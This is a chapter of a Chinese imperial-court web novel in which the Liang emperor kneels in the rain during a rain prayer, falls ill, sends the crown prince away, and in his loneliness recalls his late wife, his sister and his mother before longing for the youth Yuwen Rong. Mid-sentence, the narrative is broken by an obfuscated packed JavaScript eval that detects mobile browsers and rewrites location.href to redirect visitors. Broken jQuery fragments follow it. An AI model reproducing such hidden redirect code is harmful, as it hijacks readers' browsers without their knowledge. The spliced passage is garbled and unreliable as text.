夏旱，来得又早又烈。金陵城外的江河见了底，田畦龟裂如老叟之肤。钦天监连上三道急奏，言天象示警，需天子亲祈。


    六月初三，寅时末，夜色未褪。梁帝着一身素青祭服，未乘辇，徒步登上了城南圜丘。百官缟素随行，黑压压跪了三重台基。宇文戎立在质子队列的末位，靛青袍袖被风吹得紧贴手臂。他抬眼望去，高台之上，皇帝的身影在黎明前的灰蓝里，单薄得像一杆插进天穹的香。


    祭文念得沉缓，字字撞在紧绷的空气里。当念至“万方有罪，罪在朕躬”时，天际滚过第一声闷雷。梁帝接过玉爵，将清酒缓缓酹于干裂的祭台之上，而后撩袍，端端正正跪了下去，深深稽首。


    就在他额头触地的那一瞬，积蓄已久的乌云终于裂开一道口子。豆大的雨点，毫无征兆地、噼里啪啦砸了下来，转瞬便连成了白茫茫的雨幕。


    台下响起压抑的欢呼与感恩涕零之声。梁帝却仍保持着叩拜的姿势，一动不动。雨水顺着他的冕旒、祭服往下淌，在身下汇成一小洼。怀恩捧着伞踉跄冲上，却被他抬手止住。


    那场雨，下了足足一个时辰。梁帝便在雨中，跪足了时辰。


    祈雨成功，百官脸上带着轻松之色，低声议论着甘霖的及时。宇文戎静立角落，指尖却无意识地捻着袖口——他记得梁帝畏寒，落难时留下的旧根。


    祈雨祭典上的惊雷暴雨，来得急，去得也快。


    宇文戎站在德泽殿廊下，看着铅灰色的云层裂开缝隙，漏下刺目的天光。空气里蒸腾着热土被浇透后的腥气，陛下今日亲自主祭，那身繁复的祭服吸饱了雨水后，该是何等沉重冰凉。


    这个念头刚浮起，便被他自己按了下去。这不是他该揣测的事。


    然而，入夜后，德泽殿周围的寂静被打破了。


    不是喧哗，而是另一种更令人不安的“频繁”。侍卫换防的间隔明显缩短了，靴底踏过湿漉漉石板的声响，在夏夜里显得格外清晰、密集。有匆匆从殿前小径掠过，脚步快而轻，却压不住那份急促的脚步声。远处紫宸殿的方向，灯火亮得比平日久，窗纸上人影幢幢，似乎一直未歇。


    宇文戎躺在榻上，用全部的感官捕捉着外界每一丝异常的波动。


    换防的频率，不对。


    人影往来的密度，不对。


    紫宸殿的灯火时长，不对。


    所有的“不对”，都指向一个清晰的可能性——陛下被雨激着了，且……病势可能不轻。


    肺腑深处蛰伏的钝痛与寒意毫无征兆地收紧，猛地攥住了梁帝的呼吸。冷汗霎时透衣，比躯体痛楚更先席卷而来的，是一阵眩晕般的孤寂——紫宸殿暖阁深邃，冰鉴里残存的凉气混着药味浮沉，此刻却空旷得能听见自己血液在腔子里疲惫奔流的回响。


    太子刘成来得极快，单衣外匆匆披了件外袍，领口微乱，脸上惊惶与关切真切：“父皇！”却被怀恩挡在了外间。


    “朕无碍。”梁帝声音沙哑，却平稳得异样，字字都像从胸腔里硬挤出来，“旧疾犯了而已。”


    “儿臣侍奉汤药。”刘成撩袍欲跪。


    “不必。”刘磬截断他，“你是储君，成儿。”他顿了顿，积蓄气力，也积蓄着帝王必须吐露的、残酷的定论，“朕所有的一切，将来都是你的。正因如此，此刻你不能留在这里。”


    刘成愕然抬头。


    “回东宫去。替朕镇住朝堂，让文武百官看见，纵使朕躺下了，大梁的天也塌不了。这才是你该做的事，这才是……对朕最大的孝。”


    话音落地，暖阁死寂。殿外隐约传来夏虫细鸣，衬得室内愈发空旷。刘成脸上血色褪尽。他听懂了——这不是父子间的温情推拒，是君王对储君的训诫与放逐。所有身为人子的忧急哀恳，皆被那堵名为“江山”的无形巨墙挡回。


    他最终深深叩首，额角触地，闷响轻而沉，再抬头时，眼底只剩一片沉静得近乎麻木的决然：“儿臣……遵旨。父皇……千万保重。”


    脚步声迟重退去，殿门合拢的轻响像一声叹息，割断了暖阁内最后一丝属于“家”的微弱气息。


    梁帝仍闭着眼，牙关咬得酸涩。他知道自己没错。帝王无私疾，储君更不可困于病榻之前。可当儿子身上那点鲜活的温热也被驱散后，余下的，便只有无边无际、渗入骨髓的冷——这盛夏夜里的冷，比冬寒更蚀人。


    意识在痛楚与孤寂中浮沉，几道影子便这样悄无声息地漫上来。


    草药的苦涩气仿佛穿透岁月，混着记忆中茅屋外夏夜燥热的泥土味。那时他是逃离金陵的“帝王”，绝境里一头受伤濒死的兽。她把他拖回漏雨的屋檐下，用井水浸过的旧布为他擦拭滚烫的额头，哼着不成调的乡谣，驱散他昏沉中的魇。她不懂朝局，不谙权谋，只知眼前这人疼了、渴了、热得难受。她就这样不顾礼法，照顾着他，直到病愈。成亲那夜，连红烛都没有，只有窗外野地里点点流萤。她摸黑握住他的手，掌心有做活留下的薄茧，声音却清凌凌的：“云磬，往后你疼了，我给你扇风；渴了，我给你晾水。”若她还在，定会不管不顾拧了凉帕子敷上他额头，嘴里絮絮骂他不爱惜身子，指尖却轻柔得像拂过柳絮。她不会劝他以江山为重，她只要她的云磬，别在这闷热的夜里独自熬着。


    可她已不在了。被他亲手带进这座吃人的宫阙，然后悄无声息地凋零其中。他予她天下女子最尊贵的后位，却夺走了她眼里那点亮光，也葬送了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089662|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那个夏夜里唯一真心为他扇风的人。


    心口的憋闷更沉了，压着卸不去的愧与憾。若是皇姐在……梁帝几乎能看见那场景：他病倒，长公主从容步入紫宸殿，不必他多言一字，便可将纷乱的朝局、窥伺的皇子、浮动的人心一一妥帖安抚、震慑、料理。她会替他批阅最紧要的奏章，会替他挡下所有不必要的探视。那是毫无保留的信赖，是可彻底交托后背的安稳。有她在，他连病，都能病得“周全”些。可这独一无二的倚仗，亦被他亲手……推远了，折断了。


    疏冷的檀息似乎又萦绕鼻端。那个他五岁登基后，实际执掌朝纲、对他严苛几近冷漠的母后。记忆里的母后，总穿着最庄重的朝服，即使盛夏也衣衫严整，一丝不苟。她握着他的手，教他写下第一个“朕”字，笔锋铁划银钩，殿内冰鉴吐着白气，她的声音却比冰更凉：“记牢，从此你先是君，后是子。君无喜恶，无私情。” 他儿时惊悸，想往她身边靠，却被她端庄推开：“陛下，帝王之躯，焉能如孩童般怯弱？” 她授他所有帝王心术，却也用同一套心术，在母子间筑起再也融不化的冰墙。后半生，他们同桌用膳，相对无言；共议朝政，唯有冰冷奏对。他感念她，依仗她，却也畏她，终至……疏离她。此刻病中脆弱，想起的竟她绝对的、令人窒息的“正确”。


    她若在，大抵也会如他方才对太子那般，冷面告诫：“陛下，龙体关乎国本，请振作。” 不会有多余温情，只余不容置疑的责任。而这，或许正是他如今对自己、亦对太子的要求。他成了她，在这深宫里，将同样的冰冷传承下去。


    几道影子——携着茅屋夏夜的燥热、紫宸殿冰鉴的凉意、还有那永远一丝不苟的檀冷——轮番碾过他的心。他渴望那份纯粹呵护，向往那份绝对可靠，却又下意识践行着冷酷与孤独。而她们，一个早已化尘，一个被他辜负至死，一个与他隔阂至终。


    最终，所有纷乱杂糅、带着温凉各异的思绪，渐渐沉淀，聚焦于一个活生生的、此刻正在德泽殿中少年身上。


    宇文戎。


    好在还有戎儿。


    他的忠孝，他的价值，乃至他的生死，皆牢牢控于自己掌心。向他索求病中看顾与陪伴，无须忧心外戚，无须防范夺权，无须虑及朝局风向。他可暂卸帝王面具，流露一星属于“舅舅”的脆弱，而这脆弱，断不会化作反刺己身的刃。


    故而，在推开亲生骨肉、独对这沉疴剧痛与无边寂寥时，梁帝枯寂的心底，那句未曾出口、却盘桓不散的话，渐次清晰：


    “若是戎儿在此……便好了。”


    他最“合宜”。合宜到，能在这片情感与权柄的废墟之上，为他辟出一隅病中暂可喘息的、扭曲而安稳的孤屿。